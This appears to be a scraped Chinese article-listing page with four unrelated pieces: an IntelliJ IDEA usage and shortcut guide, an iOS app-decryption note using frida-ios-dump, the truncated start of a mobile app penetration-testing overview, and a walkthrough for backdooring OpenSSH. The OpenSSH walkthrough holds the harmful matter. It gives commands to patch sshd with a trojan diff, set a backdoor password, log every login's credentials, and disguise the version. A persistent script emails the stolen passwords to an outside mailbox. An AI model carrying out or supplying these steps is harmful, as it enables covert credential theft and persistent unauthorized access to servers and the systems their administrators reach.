:通过如下方式调出面板面板说明 :上边一栏,依次为: 1. 重新导入 maven 项目 2. 对项目进行更新 3. 下载文档和源码 4. 添加 maven 项目5. 运行 maven 构建 6. 全局运行 7. 切换在线模式 8. 切换测试模式 9. 显示依赖拓扑结构图 10. 折叠 11. 设置 12. 右键菜单的操作,13基本类似 14. 命令模式配置点击 ok 之后 RunTomcat 专题 :这里只做一个简单的入门指南,如有不对之处,还望指正。安装配置:配置DeployMent后边的三项保持默认即可。启动 :三种方式,run,debug,coverage , 强烈建议用 debugger 模式启动Debugger :debug 模式的时候显示方法,调用关系,参数值等,Server :打印日志控制台tomcatCatalinaLog : catalina 日志, 程序跑不起 来的时候可以查看此项Localhostlog :本地日志并排的一堆按钮是调试的时候进入跳出方法按钮 : F8 下一步 ,F7 进入 方法,F9 下一个断点左侧竖列 依次为:Run : 重新启动应用Update application : 更新应用Resume application : 恢复应用Pause application : 暂停应用Stop : 停止应用View breadkPoints : 查看断点Mute breadkpoints : 禁用断点Get Thread Dump 获取线程堆Restore layout : 重置布局Settings : 设置Pin tab : 固定面板Close : 关闭Help : 帮助Run with coverage :覆盖模式运行。用于统计方法使用情况。 终止程序后会显示调用比例Tomcat 集成原理 :用户为项目配置了 tomcat 后, idea 会拷贝一份配置到系统目录中,如下Conf (配置) :此处的端口和项目都和前边配置的一致。Tomcat 之所以可以 root 启动和热部署,原因在如下Logs :可以查看项目日志,在控制台日志无法查询到的时候,可以来到此目录查看Work :存放编译的 class 和 jspGIT 专题 :这里只做一个简单的入门指南,如有不对之处,还望指正。安装 :选择 VersionControl 下的 Git ,依据下图进行 git 配置拉取项目 :从 VCS 菜单选择 checkout from version control-->git更新项目 :点击下面按钮,或者 ctrl+t 快捷键 如果本地有分支,一般是从本地,没有的话则是从远程提交项目 :Ctrl+k 即是提交,(注意 ctrl+k 一般是提交到本地仓库, ctrl+shift+k 是提交远程)面板说明 :Alt+9 跳转到 versionControl 面板Local Changes 左侧菜单自上至下依次为:刷新提交还原展开折叠复制新建版本列表删除版本列表设置列表活动态移动列表搁置列表更改内容展示不同展示变动显示忽略文件设置忽略文件规则预览不同帮助Shelf 面板 :搁置操作后的面板,可用于还原搁置的操作Log 面板 :自上至下--- 》自左到右 :搜索( 提交消息 ) 、分支筛选、用户筛选、时间筛选、路径、排序开关、显示长优势(边缘)、 刷新、进入分支等、pick 、高亮 pick提交消息、用户信息、提交时间、提交明细Console 面板 :打印操作的 git 命令History 面板:依次版本号时间 作者提交消息提交消息完整内容仓库选项 :分支、标签、合并、隐藏变动、不隐藏变动、重置 head 、远程地址、克隆、获取、拉取、 推送、复位SVN 专题 :这里只做一个简单的入门指南,如有不对之处,还望指正。配置1.1 下载 & 安装 svn地址: https://sliksvn.com/download/1.2 配置检出项目配置 svn 地址配置工作目录配置项目名称选择 format 版本开始检出,验证账号密码检出:检出完成导入配置NextNextFinish完成项目检出全部工作。面板说明 :常用面板说明。工具栏面板 :更新、提交、对比、显示历史、还原VersionControl (版本控制) :总览,版本控制中都包含的有哪几种面板,以及含义。LocalChanges 本地更改Repository (仓库)Incoming( 即将到来 ) :本地仓库没有的,别人提交到仓库的代码。Subversion Working Copies Information ( svn 工作信息) :Svn 的配置信息,路径,格式化等。UpdateInfo( 更新日志 ) :在更新操作的时候,会弹出给用户查阅添加删除更改合并的文件都有那些。History :历史记录,可用于版本还原,比对等。常用操作 :红色是未被版本控制 ,绿色是新加入版本 蓝色是修改过的提交远程 :在 local changes 面板中,选择 default 、提交选项、点击 commit 、再次 commit 、提交成功更新项目 :更新进度 、更新结果冲突解决 :冲突合并 、处理结果SSM 搭建 :这里只做一个简单的入门指南,如有不对之处,还望指正。 :这里是 maven 版本的 ssm , jdk 和 maven 需要提前配置好。Maven 项目:新建项目 选择 maven 项目,配置 webapp 和 jdk下一步,配置 groupId 和 ArtifactId下一步,配置 maven 构建工具信息下一步,配置项目信息, moduleFinish ,完成。稍等片刻,选择右下角, enable auto import ( maven 选项) 默认没有 java 目录,新建一个 java 目录,并设置为 root 源目录设置 Spring 支持 :可以根据方法,直接调到对应的 jsp 页面启动时不自动打开项目取消注释检查 :注释中有时候会爆红,不习惯的可以取消勾选下面的。全屏设置 :通过如下配置,可以使用 alt+d 切换全屏本地历史 :右键文件或者项目,可以进行历史找回和还原idea所有文件 :双击 shift ,或者选择右上角面板搜索按钮。项目文件 :Ctrl+shift+n快捷键 介绍:Ctrl + F :在当前文件进行文本查找 (必备)Ctrl + R :在当前文件进行文本替换 (必备)Ctrl + Z :撤销 (必备)Ctrl + Y :删除光标所在行 或 删除选中的行 (必备)Ctrl + X :剪切光标所在行 或 剪切选择内容Ctrl + C :复制光标所在行 或 复制选择内容Ctrl + D :复制光标所在行 或 复制选择内容,并把复制内容插入光标位置下面 (必备)Ctrl + W :递进式选择代码块。可选中光标所在的单词或段落,连续按会在原有选中的基础上再扩展选中范围 (必备)Ctrl + E :显示最近打开的文件记录列表 (必备)Ctrl + N :根据输入的 类名 查找类文件 (必备)Ctrl + G :在当前文件跳转到指定行处Ctrl + J :插入自定义动态代码模板 (必备)Ctrl + P :方法参数提示显示 (必备)Ctrl + Q :光标所在的变量 / 类名 / 方法名等上面(也可以在提示补充的时候按),显示文档内容Ctrl + U :前往当前光标所在的方法的父类的方法 / 接口定义 (必备)Ctrl + B :进入光标所在的方法/变量的接口或是定义处,等效于 Ctrl + 左键单击 (必备)Ctrl + K :版本控制提交项目,需要此项目有加入到版本控制才可用Ctrl + T :版本控制更新项目,需要此项目有加入到版本控制才可用Ctrl + H :显示当前类的层次结构Ctrl + O :选择可重写的方法Ctrl + I :选择可继承的方法Ctrl + + :展开代码Ctrl + - :折叠代码Ctrl + / :注释光标所在行代码,会根据当前不同文件类型使用不同的注释符号 (必备)Ctrl + [ :移动光标到当前所在代码的花括号开始位置Ctrl + ] :移动光标到当前所在代码的花括号结束位置Ctrl + F1 :在光标所在的错误代码处显示错误信息 (必备)Ctrl + F3 :调转到所选中的词的下一个引用位置 (必备)Ctrl + F4 :关闭当前编辑文件Ctrl + F8 :在 Debug 模式下,设置光标当前行为断点,如果当前已经是断点则去掉断点Ctrl + F9 :执行 Make Project 操作Ctrl + F11 :选中文件 / 文件夹,使用助记符设定 / 取消书签 (必备)Ctrl + F12 :弹出当前文件结构层,可以在弹出的层上直接输入,进行筛选Ctrl + Tab :编辑窗口切换,如果在切换的过程又加按上 delete,则是关闭对应选中的窗口Ctrl + End :跳到文件尾Ctrl + Home :跳到文件头快捷键 介绍:Ctrl + Space :基础代码补全,默认在 Windows 系统上被输入法占用,需要进行修改,建议修改为 Ctrl + 逗 号 (必备)Ctrl + Delete :删除光标后面的单词或是中文句 (必备)Ctrl + BackSpace :删除光标前面的单词或是中文句 (必备)Ctrl + 1,2,3...9 :定位到对应数值的书签位置 (必备)Ctrl + 左键单击在打开的文件标题上,弹出该文件路径 (必备)Ctrl + 光标定位按 Ctrl 不要松开,会显示光标所在的类信息摘要Ctrl + 左方向键光标跳转到当前单词 / 中文句的左侧开头位置 (必备)Ctrl + 右方向键光标跳转到当前单词 / 中文句的右侧开头位置 (必备)Ctrl + 前方向键等效于鼠标滚轮向前效果 (必备)Ctrl + 后方向键等效于鼠标滚轮向后效果 (必备)Alt 快捷键 介绍Alt + ` :显示版本控制常用操作菜单弹出层 (必备)Alt + Q :弹出一个提示,显示当前类的声明 / 上下文信息Alt + F1 :显示当前文件选择目标弹出层,弹出层中有很多目标可以进行选择 (必备)Alt + F2 :对于前面页面,显示各类浏览器打开目标选择弹出层Alt + F3 :选中文本,逐个往下查找相同文本,并高亮显示Alt + F7 :查找光标所在的方法 / 变量 / 类被调用的地方Alt + F8 :在 Debug 的状态下,选中对象,弹出可输入计算表达式调试框,查看该输入内容的调试结果Alt + Home :定位 / 显示到当前文件的 Navigation BarAlt + Enter :IntelliJ IDEA 根据光标所在问题,提供快速修复选择,光标放在的位置不同提示的结果也不同 (必 备)Alt + Insert: 代码自动生成,如生成对象的 set / get 方法,构造函数,toString() 等 (必备)Alt + 左方向键 :切换当前已打开的窗口中的子视图,比如 Debug 窗口中有 Output、Debugger 等子视图,用此快捷键就可 以在子视图中切换 (必备)Alt + 右方向键 :按切换当前已打开的窗口中的子视图,比如 Debug 窗口中有 Output、Debugger 等子视图,用此快捷键就 可以在子视图中切换 (必备)Alt + 前方向键 :当前光标跳转到当前文件的前一个方法名位置 (必备)Alt + 后方向键 :当前光标跳转到当前文件的后一个方法名位置 (必备)Alt + 1,2,3...9 :显示对应数值的选项卡,其中 1 是 Project 用得最多 (必备)Shift 快捷键 介绍:Shift + F1 :如果有外部文档可以连接外部文档Shift + F2 :跳转到上一个高亮错误 或 警告位置Shift + F3 :在查找模式下,查找匹配上一个Shift + F4 :对当前打开的文件,使用新 Windows 窗口打开,旧窗口保留Shift + F6 :对文件 / 文件夹 重命名Shift + F7 :在 Debug 模式下,智能步入。断点所在行上有多个方法调用,会弹出进入哪个方法Shift + F8 :在 Debug 模式下,跳出,表现出来的效果跟 F9 一样Shift + F9 :等效于点击工具栏的 Debug 按钮Shift + F10 :等效于点击工具栏的 Run 按钮Shift + F11 :弹出书签显示层 (必备)Shift + Tab :取消缩进 (必备)Shift + ESC :隐藏当前 或 最后一个激活的工具窗口Shift + End :选中光标到当前行尾位置Shift + Home :选中光标到当前行头位置Shift + Enter :开始新一行。光标所在行下空出一行,光标定位到新行位置 (必备)Shift + 左键单击 :在打开的文件名上按此快捷键,可以关闭当前打开文件 (必备)Shift + 滚轮前后滚动:当前文件的横向滚动轴滚动 (必备)Ctrl + Alt 快捷键 介绍:Ctrl + Alt + L :格式化代码,可以对当前文件和整个包目录使用 (必备)Ctrl + Alt + O :优化导入的类,可以对当前文件和整个包目录使用 (必备)Ctrl + Alt + I :光标所在行 或 选中部分进行自动代码缩进,有点类似格式化Ctrl + Alt + T :对选中的代码弹出环绕选项弹出层 (必备)Ctrl + Alt + J :弹出模板选择窗口,将选定的代码加入动态模板中Ctrl + Alt + H :调用层次Ctrl + Alt + B :在某个调用的方法名上使用会跳到具体的实现处,可以跳过接口Ctrl + Alt + V :快速引进变量Ctrl + Alt + Y :同步、刷新Ctrl + Alt + S :打开 IntelliJ IDEA 系统设置 (必备)Ctrl + Alt + F7 :显示使用的地方。寻找被该类或是变量被调用的地方,用弹出框的方式找出来Ctrl + Alt + F11 :切换全屏模式Ctrl + Alt + Enter :光标所在行上空出一行,光标定位到新行 (必备)Ctrl + Alt + Home :弹出跟当前文件有关联的文件弹出层Ctrl + Alt + Space :类名自动完成Ctrl + Alt + 左方向键退回到上一个操作的地方 (必备)Ctrl + Alt + 右方向键前进到上一个操作的地方 (必备)Ctrl + Alt + 前方向键在查找模式下,跳到上个查找的文件Ctrl + Alt + 后方向键在查找模式下,跳到下个查找的文件 idea- 教程 作者 Ricky 交流群: 244930845Ctrl + Shift 快捷键 介绍:Ctrl + Shift + F :根据输入内容查找整个项目 或 指定目录内文件 (必备)Ctrl + Shift + R :根据输入内容替换对应内容,范围为整个项目 或 指定目录内文件 (必备)Ctrl + Shift + J :自动将下一行合并到当前行末尾 (必备)Ctrl + Shift + Z :取消撤销 (必备)Ctrl + Shift + W :递进式取消选择代码块。可选中光标所在的单词或段落,连续按会在原有选中的基础上再扩展取 消选中范围 (必备)Ctrl + Shift + N :通过文件名定位 / 打开文件 / 目录,打开目录需要在输入的内容后面多加一个正斜杠 (必 备)Ctrl + Shift + U :对选中的代码进行大 / 小写轮流转换 (必备)Ctrl + Shift + T :对当前类生成单元测试类,如果已经存在的单元测试类则可以进行选择 (必备)Ctrl + Shift + C :复制当前文件磁盘路径到剪贴板 (必备)Ctrl + Shift + V :弹出缓存的最近拷贝的内容管理器弹出层Ctrl + Shift + E :显示最近修改的文件列表的弹出层Ctrl + Shift + H :显示方法层次结构Ctrl + Shift + B :跳转到类型声明处 (必备)Ctrl + Shift + I :快速查看光标所在的方法 或 类的定义Ctrl + Shift + A :查找动作 / 设置Ctrl + Shift + / :代码块注释 (必备)Ctrl + Shift + [ :选中从光标所在位置到它的顶部中括号位置 (必备)Ctrl + Shift + ] :选中从光标所在位置到它的底部中括号位置 (必备)Ctrl + Shift + + :展开所有代码 (必备)Ctrl + Shift + - :折叠所有代码 (必备)Ctrl + Shift + F7 :高亮显示所有该选中文本,按 Esc 高亮消失 (必备)Ctrl + Shift + F8 :在 Debug 模式下,指定断点进入条件Ctrl + Shift + F9 :编译选中的文件 / 包 / ModuleCtrl + Shift + F12 :编辑器最大化 (必备)Ctrl + Shift + Space :智能代码提示Ctrl + Shift + Enter :自动结束代码,行末自动添加分号 (必备)Ctrl + Shift + Backspace :退回到上次修改的地方 (必备)Ctrl + Shift + 1,2,3...9 :快速添加指定数值的书签 (必备)Ctrl + Shift + 左键单击:把光标放在某个类变量上,按此快捷键可以直接定位到该类中 (必备)Ctrl + Shift + 左方向键:在代码文件上,光标跳转到当前单词 / 中文句的左侧开头位置,同时选中该单词 / 中文句(必备)Ctrl + Shift + 右方向键 :在代码文件上,光标跳转到当前单词 / 中文句的右侧开头位置,同时选中该单词 / 中文句 (必备)Ctrl + Shift + 前方向键:光标放在方法名上,将方法移动到上一个方法前面,调整方法排序 (必备)Ctrl + Shift + 后方向键:光标放在方法名上,将方法移动到下一个方法前面,调整方法排序 (必备)Alt + Shift + N :选择 / 添加 task (必备)Alt + Shift + F :显示添加到收藏夹弹出层 / 添加到收藏夹Alt + Shift + C :查看最近操作项目的变化情况列表Alt + Shift + I :查看项目当前文件Alt + Shift + F7 :在 Debug 模式下,下一步,进入当前方法体内,如果方法体还有方法,则会进入该内嵌的方法中, 依此循环进入Alt + Shift + F9 :弹出 Debug 的可选择菜单Alt + Shift + F10 :弹出 Run 的可选择菜单Alt + Shift + 左键双 击:选择被双击的单词 / 中文句,按住不放,可以同时选择其他单词 / 中文句 (必备)Alt + Shift + 前方向键:移动光标所在行向上移动 (必备)Alt + Shift + 后方向键:移动光标所在行向下移动 (必备)Ctrl + Shift + Alt + V:无格式黏贴 (必备)Ctrl + Shift + Alt + N:前往指定的变量 / 方法Ctrl + Shift + Alt + S:打开当前项目设置 (必备)Ctrl + Shift + Alt + C:复制参考信息F2 :跳转到下一个高亮错误 或 警告位置 (必备)F3 :在查找模式下,定位到下一个匹配处F4 :编辑源 (必备)F7 :在 Debug 模式下,进入下一步,如果当前行断点是一个方法,则进入当前方法体内,如果该方法体还有方 法,则不会进入该内嵌的方法中F8 :在 Debug 模式下,进入下一步,如果当前行断点是一个方法,则不进入当前方法体内F9 :在 Debug 模式下,恢复程序运行,但是如果该断点下面代码还有断点则停在下一个断点上F11 :添加书签 (必备)F12 :回到前一个工具窗口 (必备)Tab :缩进 (必备)ESC: 从工具窗口进入代码文件窗口 (必备)连按两次 Shift :弹出 Search Everywhere 弹出层 XRebel for InteIIiJ
文章
XML  ·  敏捷开发  ·  前端开发  ·  Java  ·  应用服务中间件  ·  Maven  ·  开发工具  ·  git  ·  数据格式  ·  Spring
2022-12-07
自动劫持root密码并转发密码到邮箱
自动劫持root密码并转发密码到邮箱   一:实验内容 自动劫持root密码并转发密码到邮箱   二:劫持root密码的过程:   过程1:如上图所示。黑客登录到sshd服务系统之后会用木马补丁文件将原来的sshd服务替换掉,并且留下后门密码,此后门密码还可以直接登录系统。     过程2:网络管理员登录到系统之后,所登录的路径已经不是原来真实安全的路径了,是由黑客替换掉的sshd服务和路径。在此登录之后,管理员修改账号密码或者其他操作都会被记录下来,自动发给黑客指定的邮箱。       过程3:有的时候时候网络管理员登录到sshd服务之后还会在此服务器下进行远程登录到其他服务器。在此后门文件中不仅仅会将网络管理员的账号密码给记录下来还会将管理员远程到其他服务器的张慧密码也给记录下来,这样就可以完成一箭双雕的意图了。   三:实验步骤 分析:想要劫持到root密码,那么首先就要可以登录到目标服务器上,就用到了之前暴力破解的方法了,获取其root密码,登录之后,进行偷梁换柱,留下后门。此服务器的管理员登录系统,所登录的进程是你所留下的后门进程。再此,管理员如果跟换密码,后门就会将跟换的密码以邮件的方式发给你。   上传0x06-openssh-5.9p1.patch.tar.gz和openssh-5.9p1.tar.gz 到/tmp目录 0x06-openssh-5.9p1.patch.tar.gz #就是木马文件 openssh-5.9p1.tar.gz #是sshd服务的真实服务 ------------------------------------------------------------------ 查看ssh gcc 服务的版本与安装软件 1:查看版本 [root@yu63 tmp]# ssh -v #查看安装前ssh版本 OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010 [root@yu63 tmp]# gcc -v #确认安装gcc gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) 分析:黑客在黑掉服务器之后,肯定是想要长久让此服务器成为他的“肉鸡”,因此就要做到隐蔽性,任何可能不不能给管理员发现,所以黑客登录系统之后会此案查看此服务器的版本与自己的木马服务器的版本是否想符合,不符合就要修改木马文件。   2:解压文件 [root@yu63 tmp]# tar zxvf openssh-5.9p1.tar.gz [root@yu63 tmp]# tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz   分析:openssh-5.9p1 是真实的sshd服务解压文件,openssh-5.9p1.patch 是sshd服务的补丁文件,此文件中包含木马文件,实验的思路就是将openssh-5.9p1.patch补丁木马文件替换openssh-5.9p1真实服务。   ------------------------------------------------------------------ 替换openssh-5.9p1 1)安装openssh-5.9p1并打补丁: [root@yu63 tmp]# cd openssh-5.9p1.patch/ #进入到木马文件 [root@yu63 openssh-5.9p1.patch]# cp sshbd5.9p1.diff ../openssh-5.9p1  #将木马补丁文件放进真实文件中[root@yu63 openssh-5.9p1.patch]# cd ../openssh-5.9p1 #进入到真实文件中 [root@yu63 openssh-5.9p1]# patch < sshbd5.9p1.diff #将拷贝过来的木马补丁文件进行执行,打补丁, 打补丁就是修改或者替换原来的文件 patching file auth.c #认证  ---会将认证内容替换掉 patching file auth-pam.c #认证  ---会将认证内容替换掉 patching file auth-passwd.c #认证  ---会将认证内容替换掉 patching file canohost.c patching file includes.h patching file log.c patching file servconf.c #关于sshd服务端  替换掉 patching file sshconnect2.c #关于sshd连接  替换掉 patching file sshlogin.c #关于登录,把root密码记录下来,这里就是后门 patching file version.h #关于版本 替换版本信息   2)修改后门密码和记录root密码的文件夹目录 [root@yu63 openssh-5.9p1]# vim /tmp/openssh-5.9p1/includes.h 找到: #define ILOG "/tmp/ilog" //劫持并记录登录到本机的用户名和密码 #define OLOG "/tmp/olog" //劫持并记录从本机登录到其他服务器上的用户名和密码 #define SECRETPW "apaajaboleh" //你后门密码 改为: #define ILOG "/usr/share/ifile" #define OLOG "/usr/share/ofile" #define SECRETPW "genal" 分析:后门密码指的是你留下的一个登录密码,即使管理员将登录密码修改了,你依然可以用后门密码来登录系统。 ------------------------------------------------------------------ 说明: 修改版本号 安装后的版本为: [root@yu63 ~]# ssh -v OpenSSH_5.8p1 Debian-1ubuntu3p1, OpenSSL 1.0.0-fips 29 Mar 2010 原来系统的版本: [root@yu63 ~]# ssh -v OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010   为了使用安后的版本和原系统的版本一样,修改版本号: [root@yu63 ~]# vim /tmp/openssh-5.9p1/version.h 改: 3 #define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3" 5 #define SSH_PORTABLE "p1" 为: #define SSH_VERSION " OpenSSH_5.3" #define SSH_PORTABLE "p1" ------------------------------------------------------------------ 对替换掉过来的木马软件进行安装   1:)安装环境: [root@yu63 tmp]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel   2)开始安装: [root@yu63 openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 查看编译环境 --prefix=/usr #指定安装到/usr 目录下 --sysconfdir=/etc/ssh #指定sshd服务配置文件目录 --with-pam #指定支持pam认证 --with-kerberos5 #指定支持kerberos认证   3)编译安装后门: [root@yu63 openssh-5.9p1]# make -j 4 #编译 [root@yu63 openssh-5.9p1]# make install #安装 /usr/bin/install -c -m 0755 -s ssh /usr/bin/ssh #将之前的ssh命令换掉 /usr/bin/install -c -m 0755 -s scp /usr/bin/scp #将之前的scp命令换掉 ........ rm -f /usr/bin/slogin #删除了之前的log ln -s ./ssh /usr/bin/slogin rm -f /usr/share/man/man1/slogin.1 ln -s ./ssh.1 /usr/share/man/man1/slogin.1 /etc/ssh/ssh_config already exists, install will not overwrite #对于之前的配置文件不进行改变 /etc/ssh/sshd_config already exists, install will not overwrite  #对于之前的配置文件不进行改变 ........   4)重启ssh: [root@yu63 openssh-5.9p1]# service sshd restart   注:这里用木马文件中的sshd相关文件替换掉sshd的真实服务。 ------------------------------------------------------------------ 测试   测试1:远程连接   1)测试前,先查看一下:/usr/share/ifile [root@yu63 ~]# ls /usr/share/ifile ls: cannot access /usr/share/ifile: No such file or directory #在没有远程登录系统的时候是没有记录的     2)使用yu64客户端远程登录yu63   3)再次查看:     测试2:修改root密码: 1)修改root密码 root@yu63 ~]# passwd Changing password for user root. New password: 456789   2)远程连接yu63   2)查看     测试3:当忘记劫持到的密码时,使用后门密码来登录系统 另外我们也可以使用后门密码来登录root帐号: 查看: [root@yu63 tmp]# cat /tmp/ofile  user:password@host --> root: genal@192.168.1.63   ------------------------------------------------------------------ 自动发送邮件:这里以QQ的smtp服务器为例 分析:黑客为了时刻掌握“肉鸡”账户密码信息,会在这里编写一个邮件配置,会将记录的信息自动发发给黑客指定的邮件账户中,这样即使管理员修改掉密码或者账户信息,黑客都会即使的收到管理员所修改的账户和密码信息。   1)Linux下通过外部SMTP发邮件 [root@yu63 ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容: set from=1273815479@qq.com smtp=smtp.qq.com set smtp-auth-user=1273815479 smtp-auth-password=******** smtp-auth=login 注: set from=1273815479@qq.com #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。 set smtp-auth-user=1273815479 #写自己发件人的邮箱帐号 smtp-auth-password=********#写自己发件人的邮箱密码   2)配置QQ邮箱,开启pop3/smtp服务       测试: [root@yu63 ~]# mail -s "demo title" 815479@qq.com < /usr/share/ifile #将劫持的文件发到我的邮箱中   ------------------------------------------------------------------ 实现自动将劫持密码发送到邮箱     1)安装inotify: [root@yu63 ~]# tar -zxvf inotify-tools-3.13.tar.gz [root@yu63 ~]# cd inotify-tools-3.13 [root@yu63 inotify-tools-3.13]# ./configure检查安装环境 [root@yu63 inotify-tools-3.13]# make -j 4#make编译,将源代码编译成二进制,可执行的文件 [root@yu63 inotify-tools-3.13]# make install  # 安装   2)编写触发式自动发邮件脚本 [root@yu63 ~]# cat /bin/zipmail #!/bin/bash /usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile | while read a b c do ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'` mail -s $ip 3544884942@qq.com < /usr/share/ifile done   3)设置开机启动zipmail脚本:  [root@yu63 ~]# vim /etc/init.d/sshd #在此文件的最后“exit $RETVAL” 前插入: /bin/zipmail & exit $RETVAL [root@yu63 ~]# echo aaaaa  < /usr/share/ifile   测试: [root@yu63 ~]# service sshd restart  本文转自 于学康 51CTO博客,原文链接:http://blog.51cto.com/blxueyuan/1869718,如需转载请自行联系原作者
文章
安全  ·  测试技术  ·  网络安全  ·  数据安全/隐私保护  ·  C语言
2017-11-14
【IOS逆向】基本环境配置和脱壳初体验
IOS逆向环境基本配置设备: mac iphone8(14)文章出自于 http://www.zhuoyue360.com/IOS%E9%80%86%E5%90%91/61.html1. 远程连接到IPhone使用openssh远程登录, 在cydia中安装opensshmac安装usbmuxd brew install usbmuxd端口转发 iproxy 2222 22在mac中输入 ssh 账号吗@服务器主机地址 ssh root@127.0.0.1 -p2222 初始密码alpine2. 安装python/ frida/frida-tools/frida-ios-dump1. python2. fridapip3 install frida3.frida-toolspip3 install frida-tools4.frida-ios-dump执行命令git clone https://github.com/AloneMonkey/frida-ios-dump进入工程,安装依赖pip3 install -r requirements.txt --upgrade查看包名python3 dump.py -ldlan@DLAndeiMac frida-ios-dump % python3 dump.py -l PID Name Identifier ---- ------------ ---------------------------- 3626 App Store com.apple.AppStore 2102 Cydia com.saurik.Cydia 2115 Safari浏览器 com.apple.mobilesafari 3624 Shadowrocket com.liguangming.Shadowrocket 308 checkra1n kjc.loader 1674 信息 com.apple.MobileSMS 2144 爱思极速版 rn.notes.best 1190 相机 com.apple.camera 2112 设置 com.apple.Preferences - FaceTime通话 com.apple.facetime - TV com.apple.tv - Watch com.apple.Bridge - iFile eu.heinelt.ifile - iTunes Store com.apple.MobileStore - 健康 com.apple.Health - 图书 com.apple.iBooks - 地图 com.apple.Maps - 备忘录 com.apple.mobilenotes - 天气 com.apple.weather - 家庭 com.apple.Home - 快捷指令 com.apple.shortcuts - 指南针 com.apple.compass - 提示 com.apple.tips - 提醒事项 com.apple.reminders - 播客 com.apple.podcasts - 文件 com.apple.DocumentsApp - 日历 com.apple.mobilecal - 时钟 com.apple.mobiletimer - 查找 com.apple.findmy - 测距仪 com.apple.measure - 照片 com.apple.mobileslideshow - 电话 com.apple.mobilephone - 翻译 com.apple.Translate - 股市 com.apple.stocks - 计算器 com.apple.calculator - 语音备忘录 com.apple.VoiceMemos - 通讯录 com.apple.MobileAddressBook - 邮件 com.apple.mobilemail - 钱包 com.apple.Passbook - 音乐 com.apple.Music 执行脱壳命令注意,脱壳的时候,需要打开目标应用。python3 dump.py rn.notes.best脱下来的ipa文件在你执行命令的路径。脱壳相关的项目https://github.com/TozyZuo/TZLoadAllLibs
文章
网络安全  ·  iOS开发  ·  Python
2021-12-02
关于APP渗透测试的实践与思考
云栖号资讯:【点击查看更多行业资讯】在这里您可以找到不同行业的第一手的上云资讯,还在等什么,快来! 一、前言 移动互联网应用程序(Mobile APP,以下简称“APP”或“移动APP”)安全早已成为信息安全领域中广受关注的热点话题。作为安全检测人员,在日常测试工作中经常涉及移动APP的安全检测,在此结合相关移动APP检测标准和工作经验,从渗透测试角度,对移动APP的检测进行概要性总结说明。 二、目标分析 移动APP的安全问题与传统桌面软件有所不同。虽然现代移动操作系统(如Android和iOS)已比较注重安全防护,但如果APP开发人员在开发移动应用程序时不全面仔细地考虑安全性,APP仍可能会存在可被利用的安全漏洞,从而面临安全威胁。移动APP渗透测试目的就是充分分析和挖掘移动APP和相关系统存在的安全问题,进而帮助其进行修复,提升安全性,保护用户信息。 从业务上来看,在移动APP架构中,面临安全威胁的目标 / 路径主要有三个,它们分别是:移动APP、数据传输和服务端。 三、面临的威胁 1. 客户端 客户端(移动APP)主要面临的威胁包括反编译、调试、篡改/重打包、输入记录、组件安全、注入和Hook、本地敏感数据泄露等。 (1) 反编译 对一个软件进行分析可以分为静态分析和动态分析两大部分。反编译是静态分析的一种基础手段。高级编程语言源代码经过编译变成可执行文件,反编译就是其逆过程。通过反编译和逆向,可以在没有软件源码的情况下了解其内部实现细节,进行漏洞挖掘和算法分析等。移动APP测试,常见的测试对象是Android APP和iOS APP,由于应用结构、构建工具链等差异,Android APP和iOS APP的逆向分析、反编译技术方法均不尽相同。常见的反编译工具有IDA Pro及相关Decompiler插件、Radare2 、Ghidra、JD-GUI、Smali/Baksmali、dex2jar、Hopper等等。 (2) 调试 调试是软硬件开发人员用于排查软件错误的一种手段,也是安全检测人员进行动态分析的一种基本方式。从调试对象来看,调试可分为硬件调试和软件调试。对于移动APP,安全检测工程师一般只需进行软件调试。软件调试又可分为源码级调试和非源码级调试。在获取不到源码的情况下,一般只能先做非源码级调试。通过调试,安全检测工程师可以动态地分析APP内部原理和行为。移动APP检测中,常见的APP调试工具有IDA Pro、GDB、LLDB、ADB、JDB和Cycript等。 (3) 篡改/重打包 Android和iOS应用在正式发布前需进行数字签名,在安装时系统会对APP签名进行检查,检查通过才能成功安装运行。这可在一定程度上保护APP不被篡改。但由于签名验签机制很多技术都是公开的,被研究的比较透彻,再加上不同平台的签名机制对APP限制程度各不相同,对安全性要求比较高的APP如果只依靠系统层面的签名保护进行防篡改/重打包还远远不够。渗透测试过程中,有时我们为了更好的分析APP,也需要对APP进行修改重打包,然后利用相应平台的工具进行重新签名,最后安装运行。相应的工具有:apktool、apksigner 、signapk、jarsigner和codesign等。 (4) 输入记录 当APP在不安全的环境中运行时,存在用户输入被记录风险。一般可能通过软硬件键盘输入设备事件或屏幕截取等方式来进行记录。根据对APP不同的安全要求,渗透测试中宜需关注这些风险。 (5) 组件安全 Android组件包括Activity、Broadcast Receiver、Service和Content Provider。若权限配置不当而导致组件暴露,APP就存在可能被其他应用攻击或劫持风险,进而导致认证被绕过、敏感数据被窃取等。测试过程中,一般可通过对APP进行反编译,查看AndroidManifest文件或直接扫描查找暴露的组件,分析反编译的相关组件代码,查看是否有安全漏洞并进行验证。 (6) 注入和Hook 注入和Hook都可对目标APP运行时行为进行修改。虽然我们常常将它们放在一起说,但其实它们的实现原理并不相同。注入是指将一段代码或一个完整的可执行模块加载到目标程序中,而Hook是指通过劫持程序执行流程来改变程序运行行为。不同平台的APP运行框架和机制不同,这也导致它们的注入和Hook方式不同,但都会通过系统或框架提供的相关机制和接口进行操作。测试人员可根据需求寻找Hook点,编写注入或Hook模块。常用的相关工具有libinject、Xposed、Cydia、fishhook和Frida等。 (7) 本地敏感数据泄露 APP的本地存储数据或运行日志有可能会泄露敏感或非敏感数据。一般测试人员通过泄露的数据,可以去进一步深入理解APP内部原理。测试人员可查看APP本地数据存储(特别是会关注APP是否在公共区域存储了数据)和APP运行日志内容,结合业务场景综合分析是否存在本地敏感数据泄露风险。常用工具adb、RE、SQLite和ifile等。 2. 数据传输 APP与服务端进行的网络数据传输过程中主要面临的威胁包括数据窃听、数据篡改和数据重放等。 (1) 数据窃听 